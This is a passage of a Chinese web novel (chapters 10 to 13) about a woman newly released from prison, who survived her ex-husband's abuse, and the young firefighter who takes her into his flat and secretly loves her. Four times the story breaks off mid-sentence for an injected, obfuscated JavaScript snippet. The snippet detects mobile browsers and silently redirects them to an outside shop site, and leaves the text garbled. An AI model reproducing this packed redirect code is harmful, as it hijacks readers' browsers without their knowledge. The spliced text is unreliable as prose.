那时候竺月爸妈关系还不错,她爸爸在外面做点小生意,妈妈在镇上开了个理发店,家境在村里算比较好的。奶奶心疼程峰,就经常抱回来照顾,给他些吃的,又把竺月穿不下的衣服给他穿。 程峰长得俊,又瘦瘦弱弱的,穿起她衣服就跟她妹妹似的…… 竺月收回思绪,想着既然没死成,那就暂且先活下去。 总不能辜负了程峰拼命救她的这份恩情。 钱也是肯定要还他的,所以她得找份工作,还要找住的地方。 如果可以的话,她还想把老宅买回来。 “你自己才参加工作,以后买房结婚也要花大钱。”说到这个,竺月停顿了下,“对了……你交女朋友没?” “……” 她问得随意,程峰却听得一愣。 竺月当她害羞,一副过来人的语气,“谈了也正常,你这个年纪,正是——” “没有。” 竺月:“怎么会?” 望着他泛红的耳垂,她有些意外,还以为他的条件,肯定女生缘不错。 程峰握着方向盘没吱声。 其实这些年并不是没有女生向他示好,他刚参加工作时,身边领导同事也没少给他介绍对象,只是那些女孩他都没感觉,也不想辜负人家…… 竺月望着他安静俊秀的侧脸,心想他的性格还是太内向了些。 虽然她这辈子就这样了,但程峰是个好弟弟,她真心希望他将来婚姻美满,家庭幸福。 而且老程不在了,他一个人,也太孤单了。 于是安慰他,“没事,等事业再稳定些,缘分自然就来了。” 程峰的手紧了紧没吱声。 抬头看了眼车内镜,她脸上的灰败依然淡了许多,表情温和,像一个平常的姐姐在鼓励自己的弟弟…… 可是他不想当她弟弟! 心里有个声音冒了出来,说吧,就趁现在,大声告诉她…… 程峰望着那张脸,只觉心跳如擂鼓。 想要将那声音压下去,却事与愿违,那个声音越来越大声,不住在耳边叫嚣着,告诉她,快告诉她,你其实对她—— 程峰咽了咽干燥的喉头,终于缓缓鼓起勇气,“竺月,其实我……” 竺月:“?” 程峰嘴唇动了动,“那个……” 关键时候,一旁手机响了起来! 10. 第 10 章 @晋江原创@ “你好,请问是竺月的家属吗?” 陌生客套的女声从手机那头传来。 程峰靠边停了车,转头看了眼才应,“……我是,您是?” “竺月现在和你在一块吗?” 程峰有些疑惑,却还是点头,“是的。” “找了一圈,总算找到了。”那头明显松了口气。 程峰:“?” 那头清了清嗓子,“我是凤南派出所的工作人员,竺月的户口之前已经被注销了,你记得提醒她本人过来重新办理户口登记手续。” 程峰本来也要问这事,闻言忙谦和道,“好的,需要带些什么材料过去?” “带上身份证和释放证明书就行,她身份证没过期吧?” 见竺月摇头,程峰回道,“还没。” “那就行。” 工作人员打了几个电话,不是被告知没联系,就是很不耐烦地说不知道人在哪,辗转半天才问到这个号码,见对方态度还算客气,便好意提醒,“记得三个工作日之内过来办理,不然后续会很麻烦。” “明白。”程峰语带感激,“谢谢您告知。” “应该的,记得抓紧来办理。” “好的,麻烦您了。” 挂完电话,程峰转头看向副驾,“是凤南派出所的,提醒去办户口登记。” 车里很安静,竺月刚才也听见了他和对方的通话。 她嗯了声,脸上那抹淡笑已经消失不见。 凤南街道…… 那是蒋庆明的家。 与此同时,凤南派出所的来电也将程峰拉回现实里。 竺月经历了她前夫那种男人,刚出狱又遭遇奶奶去世和老宅被卖的双重打击…… 程峰冷静了下来。 “今晚先休息,明早我陪你去凤南所吧。” 竺月还沉浸在从前那些阴暗的记忆里,表情有些恍惚:“你不用上班吗?” “我不是说休假?”程峰咧齿一笑,露出两人见面后第一个真正意义上的笑脸,“放心,不会影响。” 他五官英挺,小麦色的皮肤将一口白牙衬得几乎反光。 当初安静听话的小跟班,不知不觉长成了阳光明朗的邻家大男孩。 竺月怔了怔,没拒绝。 她已经五年没接触外面的世界了,又是去那个此生都不愿意再去的地方,有程峰在,确实安心很多。 “谢谢。” 对上她全然信任的眼睛,程峰笑容微敛,手抬到半空,脸颊一烫,又不自然地收了回来。 “跟我……不用这么客气。” 竺月很轻地弯了下唇。 不管过去多少年,程峰始终还是她记忆中那个安静温暖的弟弟。 从某种层面来说,她和程峰的状况差不多。 同样失去家人,也同样……孤独。 五年时间,东霞市的城区往外围拓展了不少,原先的城乡结合处多了很多新开发的楼盘和道路,几所中学外迁,两个大型客运站也都搬出去,改成了大型商场。 竺月高中毕业就来东霞市打工,平常放假最喜欢和工友们来市区逛,城隍庙、步行街、后塘古街……都是以前必去的地方。 而现在除了城隍庙,步行街和后塘古街都消失了,取而代之的,是一幢幢拔地而起的高楼大厦。 这些都让竺月感到十分陌生。 只有中心城区还保留了一部分老小区。 所以当程峰的车停在一处生锈斑驳的大铁门前,她心里也莫名涌上一种久违的放松的感觉。 “拐过去第二个路口就是我们消防站,走过去五分钟左右。”程峰捧着太阳花下车,一边指着不远路口介绍。 竺月循着他指的方向望去,隐约看见红蓝相间的消防大楼,她有些奇怪,“你不住宿舍吗?” “平时住,放假了就回来。” 程峰耳垂一烫,避开了她视线。 提过她手里的袋子,领着她进了小区大门,“住得少,也就放一些东西。” 竺月还以为他会带她去小旅馆,没想到居然带她来他租的地方。 小区不算大,绿化倒还不错,中间一片花坛,还有好几棵芒果树,正是盛夏时分,树上结满了绿色的芒果,有的已经开始成熟变黄。 竺月看到几个小孩站在树下,似乎在研究怎么把果实摘下来。 她想起自己小时候,也是这样带着程峰他们翻墙去邻村那片果园里摘果子…… “怎么了?” 前面传来程峰的声音,大概是见她突然停了下来。 “没什么。”竺月收回视线。 一切都回不去了。 她跟着程峰进了最里面的一栋楼,“房租不便宜吧?” 楼道有些暗,两人经过时感应灯应声亮起,映出一片光亮。 “还好。”程峰顿了下,又解释,“宿舍太吵了。” 消防员都是年轻的男孩,吵起来确实挺闹腾的。 竺月跟在他身后,一边打量着周边环境,虽然是旧小区,卫生管理却十分不错,一层两户,楼道收拾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660833|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很干净。 竺月:“租了多久?” “……有几个月了。”程峰见她喘气便停下来,“就是没电梯,在四楼,还行吗?” 竺月摆了摆手,她还不至于那么娇气。 程峰便快步上楼,掏出钥匙开门。 竺月原以为只是一个简单的房间。 等程峰打开门开后才发现里面别有洞天。 一个房间、一个小客厅、一个阳台还有一个卫生间,完全是单身公寓的风格。 小公寓收拾得十分整洁,里面床单被套叠得像豆腐块,地板和柜子也都一层不染。 客厅里有个小沙发,沙发旁是一张小圆桌和两张塑料长凳,圆桌旁还有个一米高的小冰箱,看样子像是新买的,电视和阳台上的洗衣机看起来也都很新。 大概并不经常住,小厨房的灶台干干净净的,几乎没什么油烟味。 程峰的东西也不多,只有衣柜里整齐摆着的几套衣物和电视柜上的几本消防救援之类的书籍,除此之外,基本看不出居住的痕迹。 程峰从小鞋柜上抽了双崭新的拖鞋给她,有些不好意思地说,“房间小了点。” 这哪里小了? 竺月打工那会住的是十人一间的集体宿舍,后面嫁给蒋庆明,又跟着他挤在一间不足十平的未改造的小破屋里,之后又睡了五年女监舍里的铁板床…… 在她看来,能在寸土寸金的城区拥有这样一处住所,已经超过这城里八成以上的务工者了。 “租金肯定不便宜吧?” 她换好拖鞋进屋,视线还环顾着窗明几净的公寓,家具这么齐全,按照现在的物价,差不多得…… “大一千多?”她问。 “……” 程峰将花盆放回阳台置物架上,闻言含糊道,“……几百块,家具都是后面买的。” 原先的冰箱和洗衣机实在太破,他和房东商量了下,自己掏钱换上新的。 “你一个月才休假几天,这么好的房子空在这里多浪费。” “一个月休八天,也不算空着吧?”程峰进厨房给她倒了杯水。 竺月这些年穷过来,当初给女儿治病更是掏空了所有的积蓄都没能治好。 真心觉得赚钱不易,该省的都要省。 “就住那几天,也太浪费了。”她皱眉,仿佛看见每个月的钱哗啦啦流水一般出去了。 “租都租了。” 程峰摸了摸耳朵,好像小时候被她数落一样红了脸,“要不,你先在这过渡一段时间?” …… 11. 第 11 章 @晋江原创@ 过渡? 竺月狐疑看他。 程峰目光闪了下,一手搓着后脑勺没看她,“我签了一年合同,空着也浪费,先给你过渡,等你不需要了……” 后面的话没说话,但竺月已经听明白了。 她现在无处可去,还穷的当当响。 租房子不便宜,她打算找份包吃包住的工作,像以前厂里那种。 程峰这建议确实解了她燃眉之急,如果不是他出现,她可能今晚就得去睡大街。 竺月看着房间里仅有的一张床,“那你呢?” 他既然嫌舍友吵,肯定是想休假时在这里好好休息来着,把房间让给她,那他住哪? “我睡这里就行。”竺月定了定神,就见程峰指了指面前沙发。 沙发是两人座的布艺沙发,才一米五左右,他将近一米八五…… 竺月下意识皱眉,“这哪里睡得下?” “能休息就好。”程峰倒是无所谓,“平常出任务有时也就随便靠一靠……” “既然到处都能睡,那你还特地出来租房子?”竺月不太理解他的脑回路。 程峰被她问得话头一滞,窘得耳朵都红了。 本想打消她顾虑,结果差点露出马脚…… 他嘴唇动了动,刚要解释,面前竺月已经露出了然的表情。 “我明白了。” 程峰:“?” 竺月却没多说。 他现在单身,但要是以后谈了女朋友,总不能也带去宿舍吧, 还是有个自己单独的住所比较方便。 竺月不再纠结,“房间你自己留着,我睡沙发。” 她个子不算高,平躺在这个沙发上应该差不多,反正也只是过渡,等她找到工作就搬走。 程峰不知道她心里的打算,见她没再多问,不用松了口气。 “我那什么……过两天就回去上班了,房间先给你用吧,客厅没空调会热。” “用这个电风扇就行。”竺月不在意,女监舍五年的时间都熬过来了,没空调算什么。 “可——” 程峰还想再说,竺月打断他,“房租多少?水电费多少?还有你这几年汇了多少钱,到时候一并还你?” 程峰无奈,“那我小时候穿的那些衣服是不是也都得照价还你?” “那些都是旧衣服。” 竺月想到他似乎还穿过自己的开裆裤,两岁的小男孩,尿尿都还说不清楚,夏天穿着开裆裤,她还好奇玩过他“小鸟”…… 视线悄然扫过青年高壮结实的身板,她窘了窘,人家都多大了。 清了清嗓子,她撇开头,“反正你有空算一下。” 说多无益,她现在没工作也没钱。 她侧脸秀气苍白,抿直的唇却透着股坚持,程峰张了张嘴,最终还是妥协了。 “你睡沙发,房租那些算我的,可以吗?” 他顿了下,眸光微黯,“小时候要不是你护着我,我都不知道被人打了多少回。” “姐,你能不能,别把我当外人?” 这一声“姐”听得竺月心头莫名一酸。 她没有兄弟姐妹,程峰又乖又听话,那时她几乎把他当成了亲弟弟。 一起吃饭,一起上学,一起玩耍,有时候连睡觉都一起。 如果不是发生了那些事,说不定她现在还会按着他肩膀骂他花钱不要大手大脚…… 屋里一时有些沉寂。 见她默然不语,程峰换了个轻松点的话题,“不早了,咱们先去吃饭吧?” 他中午还在车上吃了点东西垫肚子,竺月这一天却几乎都没吃。 “再饿就要成仙了。”程峰故意开她玩笑。 竺月怔怔望着他,他眼底隐隐带着小心翼翼的讨好,似乎在努力抹淡这几年牢狱生涯对她的影响。 外面的雷阵雨已经停了,橙色霞光透过窗台斜射进来,将白色瓷砖映成深浅两种颜色。 一阵晚风拂过,空气中带着雨后初晴的清新。 竺月垂在身侧的手蜷缩了下,转头看向冰箱,“……家里有菜吗?” 程峰舒了口气。 她终于不再纠结钱的问题了。 本想带她出去搓一顿顺便庆祝一下,不过现在这情景…… 程峰想了想,“要不我给你煮面吧?” 在东山村,长寿面也代表着为亲友送别或者洗尘的祝福。 竺月并不在意,她点了下头,“都可以。” 程峰端起水杯给她,“喝点水,先去洗个澡?” 村里的小河虽然不算脏,但也谈不上多干净。 竺月嗯了声,她确实有些渴了,于是接过水杯大口灌了口。 喝猛了,几滴没来得及咽下去的水沿着嘴角蜿蜒落下,直直滴在衣服上。 “没事,擦一下。” 程峰拿起纸巾,刚要伸手帮忙,视线却不经意掠过她胸口。被沾湿的藏蓝色作作训服上,有一处不怎么明显的凸起…… 只觉耳朵一下子烧了起来,他将纸巾往她手里一塞,身体僵硬转了过去,“我,我先去煮面!” 竺月并未察觉。 看着他高大的身影一阵风消失在厨房门口,她默然片刻,才抱着衣服去了洗手间。 浴室里,毛巾、沐浴乳、洗发水等洗漱用品一应俱全。 以前女监里洗澡的时间都是有限制的,而且每次都要排队。 竺月已经很多年没洗过这么舒服的热水澡了。 温暖的水流顺着脖颈往下落,冲去了沐浴乳柔软的泡沫,她将自己从上到下彻底清洗了几遍,才感觉整个人重新活了过来。 洗手台边还放了个白色的瓶子。竺月拿起来一看,竟然是瓶洗面奶。 看不出,程峰还挺精致的。 壁上挂着两条毛巾,一条蓝色,一条粉色。 竺月迟疑了下,没去动。 胡乱用手擦了下脸,这才穿上衣服。 袋子里的两套衣服包括那条裙子都湿了,根本没法穿,竺月只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660834|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能继续穿程峰的作训服。 穿完后,她顺便把自己那些衣服也洗了。 另外一边。 程峰端着两碗煮好的面从厨房里出来。 客厅不大,洗手间就在厨房正对面。 中间去冰箱拿食材,路过洗手间,他听着阵阵清晰的水流声从里面传来,只觉一整颗心跳得飞快。 再联想到里面的场景,他滚了滚喉结,身体莫名燥热。 程峰快速拿了食材,只能尽可能避免自己的眼神往浴室门上飘,又去厨房灌了一大杯冷白开,这才冷静下来。 正想着,洗手间的门开了。 “程峰,衣架在哪里?” 程峰端碗的手抖了下,脸上温度再次涌了上去。 连忙定了定神,“我去拿。” 几乎不敢看她,他转身快步进了房间。 竺月刚出来就闻见阵阵诱人的饭香,她深吸了口气,饿了一天的五脏六腑终于抗议起来。 抬头望去,只见桌上摆着碗鱼汤和两碗长线面,面里面有肉、花菜和虾,其中一碗还放着一双水煮蛋……妥妥过生日的待遇。 竺月记得自己小时候过生日,奶奶也是这么给她煮长寿面的,虽然料没这么多。 想起奶奶佝偻的身体在灶台前忙前忙后的场景,她握着洗衣盆的手微微收紧,心里直发酸。 程峰拿着崭新的衣架出来,就见竺月手里端着洗衣盆站在那里,半干的短发垂在肩头,氤出点点水渍。 “你先吃吧,我去晒。” 他说着下意识就要接过竺月手里的洗衣盆,却被她避开了。 竺月:“我自己晒。”毕竟里面还有她的内衣裤。 程峰耳廓一烧,讷讷解释,“那个,晒阳台衣杆上就行了。” 竺月没说什么,兀自端着盆子去阳台了。 小小的阳台摆着几盆太阳花,其中最大的一盆就是程峰今天带去接她的那盆。 夕阳西下,五彩斑斓的花朵在暮色里迎风招展。 程峰把它们养得很好。 竺月晒完衣服回来,程峰已经连筷子和勺子都准备好了。 桌上还多了一盘切好的西瓜。 见她进来,他摸了摸头,神色微窘,“冰箱里只有这些,先将就吃点。” 竺月接过筷子,“挺好的。” 比起清汤寡水的监狱餐,已经好了不知道多少倍。 程峰打了碗汤给她。 “谢谢。”竺月拿起汤匙舀了勺鱼汤。 鱼汤里加了豆腐,很鲜嫩的味道。 竺月记得程峰很小就开始自己干家务了,那会儿老程每天忙着到处捡废品,最后用三轮车运到镇上的废品回收站。程峰放学回来,除了做饭,有时还要给老程送饭…… “怎么样?会不会太咸?” 竺月抬头,对上那双带着期待的黑眸。 湿漉漉的瞳仁,仿佛小时候拿着考了满分的卷子给她看。 竺月回味了一下。 “可以当大厨了。” 12. 第 12 章 @晋江原创@ 因为竺月这句话,整顿饭下来程峰的嘴角都是弯着的。 黑眸晶亮,笑容清浅,愉悦的心情显而易见。 碗里面实在太多,竺月只吃了三分之一不到就吃不下。 程峰劝说几次无果,干脆把她那碗拿过来—— 竺月瞪了瞪眼,“这我吃过的……” 程峰:“别浪费了。” 这话听得耳熟,竺月犹记得小时候自己挑食不吃青菜不吃萝卜,奶奶没少在她耳边念叨。 然后每次程峰来家里,她吃不下就偷偷叫他帮忙,程峰也不介意,端过碗就把她吃剩的饭菜全部解决了。 出神的瞬间,程峰已经把剩下的汤面吃光了。 竺月开了眼界,第一次知道,原来年轻男孩的食量可以大到这种程度。 同样是男的,蒋庆明的食量则远远小于他的酒量,而且酒品异常差,每次喝醉了就开始发疯,一有不如意就打人。 有时扯她头发,有时拳打脚踢,更多的时候是用东西砸…… 竺月突然觉得手有些僵硬,嘴唇也阵阵发干。 “程峰,还有烟吗?” 吃完饭的程峰已经自觉收拾起桌子,他手一顿,抬眸看见竺月苍白的脸。 “怎么了?” 竺月无视他关切的表情,语气愈发着急,“我想抽烟。” 程峰定定注视着她,半晌才轻应了声“好。” 放下碗筷,他几步走到电视前,打开抽屉拿出早上刚买的软中华。 “抽这个吧。”程峰说着又翻出一个打火机给她。 竺月僵着手接过烟盒,“……我去阳台。” “没关系,就在这抽……” 程峰话未说完,她人已经走出去了。 他愣愣站在原地,看着竺月站在阳台上,微暗的暮光在她身上渡了层淡薄的光辉,她低着头点烟,瘦弱的侧身像一根弯着的细竹,仿佛稍微一折,就会断掉。 程峰的手握了下又松开,脚刚动了下又收住。 终究还是没去打扰她。 阳台上,竺月抖着手试了几次才点燃香烟顶端的火苗。 她指头夹着烟,迫不及待吸了一口。 入口的气息却没有想象中那么辛辣。 梅子味的软中华闻着浓郁醇正,抽起来反而略显顺滑、柔和。 竺月猛抽了几口,心头那股焦躁才渐渐缓和下来。 她靠着栏杆缓缓吐出一口烟雾,冷白透明的雾气让视野里的一切都变得不真切,远处沉沉落下的夕阳、不远处喧嚣热闹的街巷、眼前老旧却充满生活气息的小区…… 华灯初上,小城在五彩斑斓的霓虹中掀开夜的帷幕。 夜风吹干了头发,却吹不走心底那层积压已久的阴霾。 竺月知道既然选择活下去,就应该朝前看,不要再回头。 然而过往的记忆还是会像烟雾一样,在某个不经意的瞬间涌入四肢百骸,仿佛中了毒似的,让她几乎手脚冰凉,浑身颤抖。 就像身上的那些伤疤,哪怕时间久远,也还是留下了狰狞丑陋的痕迹…… 一支烟很快燃到了尽头。 竺月摁灭烟蒂,正想再来一支,突然听见身后程峰的声音,“要不要下去走走?” “……” 竺月捏着打火机转头。 屋里开了灯,程峰高大的身影站在阳台那扇小门下,头几乎贴近门框。 他背光而立,微微低头看她,年轻的嗓音温和干净,“顺便去超市看看有什么需要的再买些。” 竺月怔了怔,随即毫不犹豫摇头。 程峰:“不想去?” 竺月嗯了声,“你去吧。” 程峰掠过她那身空荡荡的作训服,想了下,便没有勉强。 “那你待在家里,我去买。”冰箱里基本空了,还得再去买些日用品。 见竺月点头,程峰指了指楼下,“我就去对面超市,很快回来。” 竺月觉得他这哄小孩似的语气很可笑,她再次抽了根烟出来,“去吧。” 程峰的视线落到她手里,他摸了摸后脑勺,小声劝她,“抽多了对身体不好,尽量少抽点。” “你什么时候这么啰嗦了。”竺月似笑非笑地点着烟,并不理会小屁孩的说教。 晚风吹过,撩起她细碎柔软的短发,略显苍白的脸颊被唇间那点猩红映出几丝迤逦。 程峰怔忡了下,恍惚想起初二那年暑假,他骑着三轮车把那些瓶瓶罐罐运去镇上的废品回收站卖。 经过一个斜坡,他怎么用力都骑不上去。 顶着大太阳,他热得满头大汗,正想下来推车,三轮车却动了起来。 他疑惑转头,看见堆满废品的三轮车露出一张熟悉的脸。 十九岁的竺月顶着一头染成五颜六色的短发,嘴角叼着烟,只有眉眼间的狡黠笑意一如从前。 “小弟弟没吃饱饭啊?” …… “怎么不走?”微哑的女性嗓音拉回了程峰飘远的思绪。 程峰定了定神,对上那双沉稳却孤寂的眸子,他哦了声,“那我走了?” 竺月叼着烟摆了摆手。 程峰还想再说,竺月已经转过身了。 她倚着栏杆,暗沉的身影和身侧绚烂的太阳花形成鲜明对比。 程峰挠了挠后脑勺,一步三回头地走了。 伴随着一道关门的声响,屋里很快安静下来。 竺月抽完烟认真掐灭了烟头,又把烟蒂和烟灰收拾了下。 进厨房却发现程峰早已把碗筷洗了,连灶台都收拾地一干二净,洗干净的桌布摊平后晾在窗台上,垃圾桶里的袋子也是新换上的。 竺月想着要是哪个女生嫁给程峰,一定很幸福。 她回到小客厅里,摸索了会儿才成功打开柜上的液晶电视。 她懵懂看着屏幕里的新闻,发现在她被关起来的那五年时间里,除了她今天在路上看到的那些,人们的生活方式、国家的发展、科技的迭代……整个世界都发生了日新月异的变化。 一切都那么新奇,又那么陌生。 竺月突然有些迷惘,没有文凭又没有一技之长的自己,真的能重新在这个社会上安身立命吗? “嘭嘭嘭!” 门口传来一阵重重的敲门声。 巨大的动静仿佛隔着门框砸在竺月的心脏上,她握着遥控器的手抖了下,大脑瞬间一片空白。 眼前恍惚出现蒋庆明凶神恶煞的脸…… 等反应过来时,人已经抱着头蜷缩在饭桌下了
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660835|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “竺月?竺月?” 门口程峰心急如焚敲着门,“你在吗?快开门!” 他在超市购物时时突然意识到一个严重的问题:他不该把竺月一个人放在家里! 下午她跳河的那一幕不住浮上脑海,家里有打火机、菜刀,还有煤气……万一她再次想不开呢? 程峰不敢多想,飞快结了账就往家里奔,结果到门口却发现自己没带钥匙出来。 敲了几下门都得不到回应,大脑已经自动设想出各种可怕的场景。 他急急敲门,一边后退两步准备踹开—— 原本纹丝不动的门突然打开了。 程峰的脚僵在半空中。 “竺月?” 门后,竺月握着门把的手一片冰冷。 如果不是后面听见程峰的声音,哪怕这扇门被人敲坏,她都不可能爬过来开。 她嗫嚅了下,声音微颤,“我在看电视……没听见。” 程峰视线飞快扫过她身上,见她除了神情惶恐了些其他地方并没什么问题,才松了口气。 “没事就好,我还以为……”他尴尬一笑,“是我动静太大,吓到你了?” 竺月轻摇了下头。 应激反应而已。 程峰便提上门口两大袋东西,顺便带上了门。 他急着赶回家,只买了些菜和水果,还有两套女式家居服。 “试试看能不能穿?” 迎着竺月疑惑的目光,程峰习惯性摸了摸后脑勺,耳垂微烫,“我随手拿的。” 大概是怕她拒绝,他补充道,“就当是还我小时候穿你衣服。” 几件小孩子的旧衣服,也值当他惦记这么久? 竺月望着那双真挚澄澈的眼睛,心底那层阴影渐渐消散…… 见她表情有些松动,程峰咧齿一笑,“那你试下,我去冲个澡。” 跑了一天,他身上都是汗,真怕熏到她。 竺月嗯了声。 于是程峰便将两套睡衣搭在沙发上。 不多时,浴室里响起哗啦啦的水流声。 M码的睡衣对竺月而言大了些,她拿在身上比了比,又默默放了回去。 竺月躺在沙发上。 感觉欠程峰的,好像越来越多了…… 程峰擦着头发从浴室里出来时,客厅里的电视还在放着,沙发上的人却已经睡着了。 竺月双手抱着自己,娇小的身体像婴儿一样蜷缩在沙发上。 一米五的双人座沙发,于她而言却不算窄。 她微抿着唇,眉头轻拧,似乎在睡梦中都处于防备的状态。 程峰在沙发前缓缓蹲下。 定定看着那张曾在他梦里出现了无数次的脸。 终于,这一次是真实的。 他的目光沿着她柔软细腻的刘海扫向她略显苍白的脸、小巧圆润的鼻子,最后落向颜色寡淡的唇瓣上。 像被胶水粘住似的,怎么也无法移开。 程峰的喉结上下滑了下,年轻的身体涌上阵阵熟悉的燥热感。 心跳一下子激越了起来。 她就躺在他面前,穿着他的衣服,睡颜安宁,触手可及…… 程峰深吸了口气。 他站起身,轻轻将竺月抱了起来…… 13. 第 13 章 @晋江原创@ 没有尖锐的口哨和起床铃声,但竺月还是在生物钟的作用下早早醒来。 不管外面天气如何,女监的起床号永远在每日清晨六点准时响起。 一旦铃响,每位服刑人员都要在规定时间内起床,整理床铺和个人物品,然后共同打扫监舍卫生。 “被盖一条线、毛巾一条线、牙刷牙膏和口杯一条线……”,在狱里,一切生活用品都有着严格的整理标准。 竺月仰身坐起时,大脑已经条件反射下了命令。 先整床,再叠被,个人内务必须在十分钟之内收拾完毕—— 竺月定住了。 手往下用力摁了摁,掌心下柔软的床垫,和硌人的铁床截然不同。 视线怔怔掠过面前的实木大床,接着是米白色的床头柜,简约的台灯,柜子,小书桌……最后透过老式玻璃窗落向阳台一角。 晨曦淡薄,几簇绚烂的太阳花正在风中微微摇晃,红的、黄的、紫的……颜色各异的花朵像一群穿着彩裙的小女孩,在朝阳下踮着脚尖轻盈舞动。 不知是不是刚浇过水,花盆底下沾着一些水,鲜嫩的绿叶上也凝着几颗小水珠,被清晨的阳光一照,显得晶莹而璀璨。 视野里还映出几件晾晒着的衣物,有男士T恤、长裤、女士睡衣,还有长裙…… 竺月终于反应了过来。 她昨天刚出狱,现在在程峰租的房子里。 但她明明记得自己昨晚是睡在沙发上的,怎么一绝醒来跑到房间里,还睡在床上…… 是梦游?还是……程峰? 竺月觉得后者可能性更大些。 不再纠结,她掀被下了床。 像之前在女监里的每个早晨,先把床铺整理好。 薄薄的床单叠得像豆腐块,和枕头严丝合缝排在一起。 屋里还开着空调,阵阵冷气传来,竺月搓了搓手臂,拿起遥控器关了。 收拾完一切,她拉开房门,刚好看见程峰开门进来。 他手里提着东西,今天换了件浅蓝色T恤,搭配卡其色的休闲裤,整个人看起来精神又利落。 看见她,程峰下意识看了下墙上钟表,“怎么不多睡会?” 竺月收回视线,彻底推开卧室的门。 “习惯了。” 程峰神色一窘,下意识道歉,“对不起——” “对不起什么?”竺月打断他,“你不用这样。” 程峰:“……” 四目相对,竺月无声叹了口气。 重逢之后,她感觉他好像一直在刻意讨好她,明明他又不欠她什么。 竺月垂下头,“我是犯过法,坐过牢,但这些都与你无关,你用不着处处小心翼翼。” 她说这话声音很低,细软的头发掩住了她的眉眼,从程峰的位置,只看见她小巧的鼻子和颜色很淡的唇瓣。 程峰微微发涩,脸上却故作轻松扯了抹笑,“我没有小心翼翼。” 竺月没说话。 视线落向他手上,程峰手里提着两袋东西,一袋是包子馒头之类的早餐,另一袋则是菜,几根嫩绿的葱从袋子里垂落下来。 程峰顺着她目光看了眼,随即温和道,“饿了吧,去洗下就可以吃饭了。” 竺月:“怎么这么早出门?” 程峰把早餐放到桌上,耳垂微红,“醒了就起了。” 消防站的作息也十分规律,每天早上六点起来出操,七点整洗漱、整理个人内务,七点半吃早餐然后是上午操课…… 他昨晚在客厅地板打地铺,吹了一晚风扇还是出了不少汗。 早上五点半起来冲了个澡,洗漱完便直接下楼买早餐。 见她没动,想到一会还得去派出所,程峰轻声催道,“快去洗下吧。” 竺月转身,刚要进浴室,突然又想起什么。 “不是说好我睡沙发吗?” 程峰掏出豆浆放到桌上,闻言顿了下,随即不在意笑笑,“过两天我就回单位了,房间先留给你吧。” 说到这,他从口袋里摸出一串新打好的钥匙,“对了这个给你,万一到时要出门……” 迎着他诚挚的眸光,竺月想了下,没拒绝。 “等找到工作了我就搬出去。” 总不能一直住这,万一他哪天谈了女朋友,对人家也不方便。 程峰不知道她心底顾虑,他目光微闪,笑容淡了淡,“不急,你想住多久都可以,反正空着也是浪费。” 竺月没说什么,兀自进洗手间洗漱。 等她洗完出来,程峰已经把早餐都摆好了。 四个馒头、两个包子、两个茶叶蛋和两杯豆浆,竺月只吃了个包子和半杯豆浆就说饱了。 程峰劝说无果,只能接着兜底。 目光扫过她细细的胳膊,心想怎么才能把她养胖一点? 等他吃完,竺月正要帮忙,程峰已经动作麻利抢过了抹布,“我来吧,你要不去换身衣服?” 竺月才注意到自己还穿着他的作训服。 除了户籍重新登记,她也得办新的身份证,还有社保卡,照片也都得重新拍…… 竺月从卧室里出来时,程峰已经收拾好一切,正站在沙发旁喝水。 他愣愣望着房间门口那抹纤细身影,嘴里的水差点忘了咽下去。 竺月穿的是程峰之前托人送进狱里的那条浅蓝色牛仔裙。 她皮肤很白,露在裙子之外的胳膊和小腿也很细,小巧的五官搭上那头细软的齐耳短发,整个人显得秀气又乖巧。 程峰“咕哝”一声吞下水,耳垂不受控制地红了起来。 “很奇怪?” 竺月已经很久没穿过裙子了,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660836|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他瞪着自己半晌没说话,她不自然地抱住手臂,企图遮住上面那些淡掉的疤痕。 “那我去换回来。” “不用。”程峰赶在她进门前叫住她。 迎着她疑惑的视线,他眨了眨眼,面色微赧,“身份证的照片要有领子,不,不用换了。” 竺月扯了扯领口。 “行吧。” 最后还是穿着这条裙出了门。 程峰那部朗逸还停在昨天那个位置,出发前竺月迟疑看他,“凤南派出所……” 